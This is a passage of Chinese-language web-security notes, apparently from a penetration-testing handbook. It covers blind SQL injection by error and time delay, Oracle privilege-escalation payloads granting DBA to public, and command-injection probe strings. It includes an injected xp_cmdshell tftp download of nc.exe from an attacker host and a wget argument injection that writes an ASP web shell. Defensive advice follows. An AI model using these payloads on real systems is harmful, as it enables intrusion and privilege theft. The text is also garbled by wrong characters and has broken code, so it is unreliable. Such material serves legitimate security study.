若是Absinthe已经收集到须要的所有信息,甚至能够进入Dowload Records选项卡,以XML格式输出收集到的信息。
这种技巧利用了数据库在求条件语句的值时表现出得一个行为特色:数据库将根据其余部分的状况,仅对那些须要求值的语法部分求值。包含WHERE字句的SELECT语句就是表现出这种行为的一个典型示例:
SELECT X FROM Y WHERE C
这条语句使得数据库访问表Y的每一行,评估条件C;若是条件C为真,返回X。若是条件C永远为假,永远不求出表达式X的值。
能够找到一个语法有效但若是求值就会生成错误的表达式X,对这种行为加以利用。在ORACLE与MS-SQL中,被零除计算(divide-by-zero computation)就是这样的表达式,如1/0.若是条件C为真,那么求表达式X的值,这就形成一个数据库错误。若是条件C为假,就不会发生错误。所以,能够经过是否发生错误测试任意一个条件C。
下面的查询就是一个典型的示例,它查询默认的Oracle用户DBSNMP是否存在,若是该用户存在,就会求表达式1/0的值,形成一个错误。
SELECT 1/0 FROM dual WHERE (SELECT username From all_users Where username = 'DBSNMP') = 'DBSNMP'
下面的查询检查虚构用户AAAAAA是否存在,由于WHERE条件永远为假,因此不求表达式1/0的值,于是不会发生错误。
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'AAAAAA') = 'AAAAAA'
这种技巧的目的是在应用程序中引起一个条件式响应,即便注入的查询不会给应用程序逻辑或数据处理形成影响。
此方法是根据攻击者指定的条件形成时间延迟的查询。攻击者能够提交他设计的查询,而后监控服务器做出响应所花的时间。若是发生延迟,攻击者可推断条件为真。即便在两种状况下应用程序的响应彻底相同,攻击者仍然可根据是否存在时间延迟从数据库中提取依比特数据。经过大量执行这类查询,攻击者就可以系统的从数据库中提取任何复杂的数据,每次一比特。
这种引起适当时间延迟的方法的精确性取决于所使用的目标数据库。MS-SQL中包含一个内置的WAITFOR命令,可用于引发一个指定的时间延迟。例如,若是当前数据库用户为SA,下面的查询将形成5秒钟的时间延迟:
If(select user) = 'sa' waitfor delay '0:0:5'
使用这个命令,攻击者就可以以各类方式提取任何信息,一种方法是利用前面已经描述的、在应用程序返回条件性响应时用到的相同技巧。如今,若是知足一个特殊条件,注入的查询就不在触发一个不一样的应用程序响应,相反,它引起一次时间延迟。例如,下面的第二个查询将引起一次时间延迟,表示被截获字符串的第一个字母为A。
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
和前面同样,攻击者能够循环使用每一个字符的全部可能值,直到发生时间延迟。另外,能够经过减小所需请求的数量,提升攻击的效率。在介绍Absinthe时描述的另外一个技巧,是将每一个字节的数据划分红比特,并在每次查询中得到一比特的数据。POWER命令和按位“与”运算符(bitwise and operator)&可用于在逐比特的基础上指定条件。例如,如下查询测试被截获数据的第一个字节的第一比特,若是其值为1,终止查询:
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
如前所述,这种引起时间延迟方法的准确性在很大程度上取决于所使用的数据库。其余数据库并无内置的时间延迟命令;可是,仍是可使用其余技巧形成时间延迟。
在MYSQL中,可使用基准函数(benchmark function)重复执行一个特定的操做。指示数据库执行一个处理器密集型操做,如SHA-1散列,大量的操做次数将形成一次可测量的时间延迟。例如:
Select if(user() like 'root@%',benchmark(50000,shal('test')),'false')
在ORACLE中,一种方法是使用UTL_HTTP链接一个不存在的服务器,形成一次操做超时。这回使得数据库尝试与指定的服务器创建链接,并最终形成超时。例如:
SELECT 'a'||UTL_HTTP.Request('Http://madeupserver.com') from dual
...delay...
ORA-29273:HTTP Request failed
ORA-06512:at "SYS.UTL_HTTP",Line 1556
ORA-12545:Connect failed because target host or object does not exist
能够利用这种行为根据指定的某个条件形成时间延迟。例如,若是默认的Oracle帐户SBSNMP存在,下面的查询将会形成一次超时:
SELECT 'a'||UTL_HTTP.Request('http://madeupserver.com') From dual WHERE (select username From all_users Where username = 'DBSNMP') = 'DBSNMP'
如前所述,在Oracle和MySQL数据库中,均可以使用SUBSTR(ING)和ASCII函数每次一字节的获取任意信息。
咱们已经说明了如何使用时间延迟来获取有用的信息,然而,当对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能很是有用。在一些彻底盲目的SQL注入攻击中,浏览器中不会显示查询结果,全部错误都被应用程序以隐含的方式处理,使用提交专门设计的输入的标准技巧可能很难检测出漏洞。这时,使用时间延迟是在初步探查过程当中检测一个漏洞是否存在最有效方法。例如,若是后端数据库为MS-SQL,那么能够将下面的两个字符串轮流注入每一个请求参数中,并监控应用程序响应请求所用的时间,从而肯定全部漏洞:
';waitfor delay '0:30:0'--
1;waitfor delay '0:30:0'--
ORACLE:
人们已在Oracle数据库软件中发现了大量安全漏洞。若是找到一个容许执行任意查询的SQL注入漏洞,那么就能够利用这种漏洞提高到数据管理员权限
Oracle包含许多可在数据库管理员权限下运行的内置存储过程,并已发如今这些存储过程当中存在的SQL注入漏洞。攻击者能够利用这个缺陷,在易受攻击的字段中注入grant DBA to public查询来提高权限。
select sys.DBMS_EXPLORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1);execute immediate ''declare
pragma autonomous_transation;begin execute immediate ''''grant dba to public'''';end;'';end;--','CTXSYS',1,'1',0) from dual
这种类型的攻击可经过利用Web应用程序中的SQL注入漏洞,在易受攻击的参数中注入函数来实现。
许多其余类型的缺陷也影响到ORACLE的内置组件。一个示例是CTXSYS.DRILOAD.VALIDATE_STMT函数。这个函数的目的是检查一个指定的字符串中是否包含一个有效的SQL语句。然而,在早期版本的Oracle中,在肯定被提交的语句的过程当中,这个函数实际上执行了该语句。这意味着任何用户只需向这个函数提交一个语句,就可以做为数据库管理员执行该语句。例如:exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC')
除这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各类敏感操做,如创建网络链接或访问文件系统。除了前面描述的用于创建带外链接的功能强大的包之外,UTL_FILE包可用于在数据库服务器文件系统上读取和写入文件。
ORACLE:
ASCII和SUBSTRING:ASCII('A')等于65
SUBSTR('ABCDE',2,3)等于BCD
获取当前数据库用户:Select Sys.login_user from dual
SELECT user From dual
SYS_CONTEXT('USERENV','SESSION_USER')
引发时间延迟:UTL_HTTP.Request('http://madeupserver.com')
获取数据库版本字符串:Select banner from v$version
获取当前数据库:SYS_CONTEXT('USERENV','DB_NAME')
获取当前用户的权限:SELECT * from session_privs
显示用户对象:SELECT Object_name,object_type from user_objects
显示用户表:SELECT Object_name,object_type from user_objects Where object_type = 'TABLE'
显示用户访问的全部表:SELECT table_name from all_tables
显示表foo的栏名称:Select column_name,name from user_tab_columns where table_name = 'FOO'(若是目标数据库不为当前应用程序用户全部,使用ALL_tab_columns表)
L。防止SQL注入
部分有效的防护措施
因为单引号在SQL注入漏洞中占有突出地位,防护这种攻击的一种经常使用方法,就是将用户输入中的任何单引号配对,对他们进行转义。可是下面这两种状况下,这种方法没法奏效。
A。用户提交的数字数据内置在SQL查询中。
B。在二阶SQL注入攻击中,最初在插入数据库中时已经彻底转义的数据随后被从数据库中读取出来,而后又再次写入。当数据被从新使用时,最初被配对的引号又恢复到单引号形式。
无疑,定制的存储过程可加强安全性,提升性能;然而,因为两方面的缘由,他们并不能保证防止SQL漏洞。
A。如在使用Oracle的示例中所见,编写存在缺陷的存储过程可能在自己的代码中包含SQL注入漏洞。在存储过程当中构建SQL语句时也可能出现相似的安全问题,使用存储过程也没法防止漏洞产生。
B。即便使用安全可靠的存储过程,但若是使用用户提交的输入以不安全的方式调用这个存储过程,页仍然可能出现SQL注入漏洞。例如,假设用户注册功能在一个存储过程当中执行,该存储过程经过如下方式调用:
exec sp_RegisterUser 'joe','secret'
这个语句和一个简单的Insert语句同样易于受到攻击。例如,攻击者能够提交如下密码:
foo';exec master..xp_cmdshell 'tftp wahh-attacker.com Get nc.exe'--
应用程序将执行如下批量查询:
exec sp_RegisterUser 'joe','foo';exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'
所以,使用存储过程并无做用。
大多数数据库和应用程序开发平台都提供API,对不可信的输入进行安全处理。以防止SQL注入漏洞。参数化查询(也叫准备好的语句)分两个步骤创建一个包含用户输入的SQL语句。
(1)应用程序制定查询结构,为用户输入的每一个数据预留占位符。
(2)应用程序制定每一个占位符的内容。
相当重要的是在第二个步骤中指定的专门设计的数据没法破坏在第一个步骤中指定的查询结构。由于查询结构已经肯定,且相关API对任何类型的占位符数据进行安全处理,所以它总被解释为数据,而不是语句结构的一部分。
使用参数化查询可有效防止SQL注入,但还要注意如下三个重要的限制:
(1)应在每个数据库查询中使用参数化查询
(2)插入查询中的每一种数据都应适当进行参数化。
(3)参数占位符不能用于指定查询中表和栏的名称。
一般,一种稳定的安全机制应采用深层防护措施提供额外的保护,以防止前端防护因为任何缘由失效。当防护针对后端数据库的攻击时,应采用另外三层防护。
(1)当访问数据库时,应用程序应尽量使用最低权限帐户。
(2)许多企业数据库包含大量默认功能,可被可以执行任意SQL语句的攻击者利用。
(3)应评估、测试并及时安装供应商发布的全部安全补丁,以修补数据库软件自己已知存在的漏洞。
经常使用于发出操做系统命令的函数,如PHP中的exec和ASP中的wscript函数,一般并不限制命令的可执行范围。即便开发者准备使用API执行一个相对善意的任务,如列出一个目录的内容,攻击者仍是能够对其进行暗中破坏,从而写入任意文件或启动其余程序。一般,全部的注入命令均可在Web服务器的进程中安全运行。它具备足够强大的功能,使得攻击者可以彻底控制整个服务器。
渗透测试步骤:
1.一般可使用ping命令让服务器在一段时期内检测它的回环接口(loopback interface),从而触发时间延迟。Windows和UNIX平台在处理命令分隔符与ping命令方面存在一些细微的差异,可是,若是没有设置过滤,下面的通用测试字符串应该可以在两个平台上引发30秒额时间延迟。
||ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
2.若是应用程序过滤掉某些命令分隔符,为提升检测到命令注入漏洞的可能性,还应该轮流向每个目标参数提交下面的每一个测试字符串,并监控应用程序进行响应的时间。
| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;ping 127.0.0.1 ;
%Oa ping -i 30 127.0.0.1 %Oa
'ping 127.0.0.1'
3.若是发生时间延迟,说明应用程序可能易于受到命令注入攻击。重复几回测试过程,肯定延迟不是因为网络延时或其余异常形成的。能够尝试更改-n或-i参数的值,并肯定经历的时间延迟是否会随着提交的值发生对应的变化。
4.使用所发现的任何一个可成功实施攻击的注入字符串,尝试注入另外一个更有用的命令(如ls或dir),肯定是否能将命令结果返回到浏览器上。
5.若是不能直接得到命令执行结果,还能够采用其余方法:
(1)能够尝试打开一条通向本身计算的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat创建一个通向本身计算机的反向shell,并使用mail命令经过SMTP发送命令结果。
(2)能够将命令结果重定向到Web根目录下的一个文件,而后使用浏览器直接获取结果。例如:
dir > c:\inetpub\wwwroot\foo.txt
6.一旦找到注入命令的方法并可以得到命令执行结果,就应当肯定本身的权限(经过使用whoami或相似命令,或者尝试向一个受到保护的目录写入一个无害的文件)。而后就能够设法提高本身的权限,进而秘密访问应用程序中的敏感数据,或者经过被攻破的服务器攻击其余主机。
7.有时,因为某些字符被过滤掉,或者应用程序所使用的命令API的特殊行为,可能没法注入一个彻底独立的命令。可是攻击者仍然能够破坏所执行的命令的行为,获得想要的结果。
8.<和>字符分别用于将一个文件的内容指向命令的输入以及将命令的输出指向一个文件。若是不可能使用前面的技巧注入一个彻底独立的命令,仍然可使用<和>字符读取及写入任意文件的内容
9.应用程序调用的许多操做系统命令接受大量控制其行为的命令参数。一般,用户提交的输入以这种参数的形式传送给命令处理,只需在相关参数后插入一个空格,就能够在空格后添加一个参数。例如,一个Web创做应用程序可能拥有一项功能,容许服务器得到一个用户指定的URL,而后将它的内容呈如今浏览器上进行编辑。若是应用程序调用Wget程序,那么就能够经过附加wget使用-o命令行参数,在服务器的文件中写入任何文件的内容。例如:
url = http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\script\cmdasp.asp
许多命令注入攻击要求注入空格分隔命令行自变量,若是攻击者发现应用程序过滤空格,而且攻击的是UNIX平台,那么它可使用包含空白符字段分隔符的¥IFS环境变量代替空格。
一般来讲,防止OS注入命令注入漏洞的最佳方法是彻底避免直接调用系统命令。WEB应用程序须要执行的几乎任何任务均可以经过使用内置API完成,并且攻击者没法控制这些API,使其执行其余预料以外的命令。